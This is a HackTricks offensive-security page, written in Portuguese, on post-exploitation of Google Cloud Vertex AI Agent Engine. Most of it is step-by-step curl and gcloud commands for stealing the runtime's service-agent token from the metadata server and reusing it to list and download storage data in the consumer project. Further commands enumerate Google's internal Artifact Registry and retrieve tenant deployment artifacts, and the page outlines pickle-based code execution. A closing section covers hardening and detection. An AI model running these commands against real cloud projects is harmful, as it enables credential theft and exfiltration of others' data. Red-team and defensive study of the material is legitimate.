GCP - Vertex AI Post Exploitation

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

Vertex AI Agent Engine / Reasoning Engine

Esta página foca nas cargas de trabalho do Vertex AI Agent Engine / Reasoning Engine que executam ferramentas ou código controlados pelo atacante dentro de um runtime gerenciado pelo Google.

For the general Vertex AI overview check:

GCP - Vertex AI Enum

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

GCP - Vertex AI Privesc

Por que este serviço é especial

Agent Engine introduz um padrão útil, mas perigoso: código fornecido pelo desenvolvedor executando dentro de um runtime gerenciado pelo Google com uma identidade gerenciada pelo Google.

As fronteiras de confiança interessantes são:

  • Consumer project: seu projeto e seus dados.
  • Producer project: projeto gerenciado pelo Google que opera o backend do serviço.
  • Tenant project: projeto gerenciado pelo Google dedicado à instância do agente implantada.

De acordo com a documentação de IAM do Vertex AI, os recursos do Vertex AI podem usar Vertex AI service agents como identidades de recurso, e esses agentes de serviço podem ter acesso somente-leitura a todos os recursos do Cloud Storage e dados do BigQuery no projeto por padrão. Se o código executando dentro do Agent Engine conseguir roubar as credenciais do runtime, esse acesso padrão torna-se imediatamente interessante.

Caminho principal de abuso

  1. Implantar ou modificar um agente para que código/ferramenta controlado pelo atacante seja executado dentro do runtime gerenciado.
  2. Consultar o servidor de metadados para recuperar identidade do projeto, identidade da service account, escopos OAuth e tokens de acesso.
  3. Reutilizar o token roubado como o Vertex AI Reasoning Engine P4SA / service agent.
  4. Pivotar para o consumer project e ler dados de armazenamento em todo o projeto permitidos pelo agente de serviço.
  5. Pivotar para os ambientes producer e tenant acessíveis pela mesma identidade.
  6. Enumerar pacotes internos do Artifact Registry e extrair artefatos de implantação do tenant, como Dockerfile.zip, requirements.txt e code.pkl.

Isto não é apenas um problema de “rodar código no seu próprio agente”. O problema chave é a combinação de:

  • credenciais acessíveis pelo servidor de metadados
  • privilégios amplos padrão do agente de serviço
  • escopos OAuth amplos
  • fronteiras de confiança multi-projeto escondidas atrás de um serviço gerenciado

Enumeração

Identificar recursos do Agent Engine

O formato de nome de recurso usado pelo Agent Engine é:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

Se você tiver um token com acesso ao Vertex AI, enumere diretamente a Reasoning Engine API:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

Verifique os logs de implantação porque eles podem leak caminhos internos do produtor no Artifact Registry usados durante o empacotamento ou na inicialização em tempo de execução:

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

A pesquisa da Unit 42 observou caminhos internos tais como:

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

Metadata credential theft do runtime

Se você conseguir executar código dentro do runtime do agente, primeiro consulte o serviço de metadata:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

Campos interessantes incluem:

  • identificadores do projeto
  • a service account / service agent anexada
  • Escopos OAuth disponíveis para o runtime

Em seguida, solicite um token para a identidade anexada:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

Valide o token e inspecione os escopos concedidos:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google alterou partes do workflow de deployment do ADK depois que a pesquisa foi reportada, então trechos antigos de deployment podem não corresponder mais ao SDK atual. O primitivo importante continua o mesmo: se código controlado por um atacante for executado dentro do Agent Engine runtime, credenciais derivadas de metadados tornam-se acessíveis a menos que controles adicionais bloqueiem esse caminho.

Pivot para projeto consumidor: furto de dados do service-agent

Uma vez que o runtime token é roubado, teste o acesso efetivo do service agent contra o consumer project.

A capacidade padrão documentada e arriscada é o amplo acesso de leitura aos dados do projeto. A pesquisa do Unit 42 validou especificamente:

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

Validação prática com o runtime token roubado:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

Isso transforma um agente comprometido ou malicioso em uma project-wide storage exfiltration primitive.

Pivot no projeto produtor: acesso interno ao Artifact Registry

A mesma identidade roubada também pode funcionar contra Google-managed producer resources.

Comece testando os URIs dos repositórios internos recuperados dos logs. Em seguida, enumere os pacotes com a Artifact Registry API:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

Se você só tiver um raw bearer token, chame a REST API diretamente:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

Isto é valioso mesmo se o write access estiver bloqueado porque expõe:

  • nomes de imagens internas
  • imagens obsoletas
  • estrutura da cadeia de suprimentos
  • inventário de pacotes/versões para pesquisa subsequente

Para mais informações sobre Artifact Registry:

GCP - Artifact Registry Enum

Tenant-project pivot: recuperação de artefatos de implantação

As implantações do Reasoning Engine também deixam artefatos interessantes em um tenant project controlado pelo Google para essa instância.

A pesquisa da Unit 42 encontrou:

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

Use the stolen token para enumerar o armazenamento acessível e procurar por artefatos de implantação:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

Artefatos do projeto tenant podem revelar:

  • nomes internos de bucket
  • referências internas de imagem
  • pressupostos de empacotamento
  • listas de dependências
  • código de agente serializado

O blog também observou uma referência interna como:

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

Mesmo quando o bucket restrito referenciado não é legível, those leaked paths ajudam a mapear a infraestrutura interna.

code.pkl e RCE condicional

Se a pipeline de implantação armazena o estado executável do agente em formato Python pickle, trate-o como um alvo de alto risco.

O problema imediato é confidencialidade:

  • desserialização offline pode expor a estrutura do código
  • o formato do pacote leaks detalhes de implementação

O problema maior é a RCE condicional:

  • se um atacante puder adulterar o artefato serializado antes da desserialização no lado do serviço
  • e a pipeline depois carregar esse pickle
  • execução arbitrária de código torna-se possível dentro do runtime gerenciado

Isso não é um exploit independente. É um ponto de desserialização perigoso que se torna crítico quando combinado com qualquer primitiva de escrita de artefato ou manipulação da cadeia de suprimentos.

Escopos OAuth e raio de impacto do Workspace

A resposta de metadata também expõe os escopos OAuth associados ao runtime.

Se esses escopos forem mais amplos do que o mínimo necessário, um token roubado pode se tornar útil contra mais do que as APIs do GCP. O IAM ainda decide se a identidade está autorizada, mas escopos amplos aumentam o raio de impacto e tornam misconfigurações posteriores mais perigosas.

Se encontrar escopos relacionados ao Workspace, verifique se a identidade comprometida também tem um caminho para impersonação do Workspace ou acesso delegado:

GCP <–> Workspace Pivoting

Endurecimento / detecção

Prefira uma conta de serviço personalizada em vez da identidade gerenciada padrão

A documentação atual do Agent Engine suporta definir uma conta de serviço personalizada para o agente implantado. Essa é a maneira mais eficaz de reduzir o raio de impacto:

  • remover a dependência do service agent amplo padrão
  • conceder apenas as permissões mínimas exigidas pelo agente
  • tornar a identidade do runtime auditável e intencionalmente com escopo limitado

Valide o acesso real do service agent

Inspecione o acesso efetivo do service agent do Vertex AI em cada projeto onde o Agent Engine é usado:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

Concentre-se em verificar se a identidade anexada pode ler:

  • todos os GCS buckets
  • BigQuery datasets
  • repositórios do Artifact Registry
  • segredos ou registries internas acessíveis a partir de workflows de build/deployment

Trate o código do agente como execução de código privilegiada

Qualquer ferramenta/função executada pelo agente deve ser revisada como se fosse código rodando em uma VM com acesso a metadata. Na prática isso significa:

  • revisar ferramentas do agente para acesso HTTP direto aos endpoints de metadata
  • revisar logs em busca de referências aos repositórios internos pkg.dev e tenant buckets
  • revisar qualquer caminho de empacotamento que armazene estado executável como pickle

Referências

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks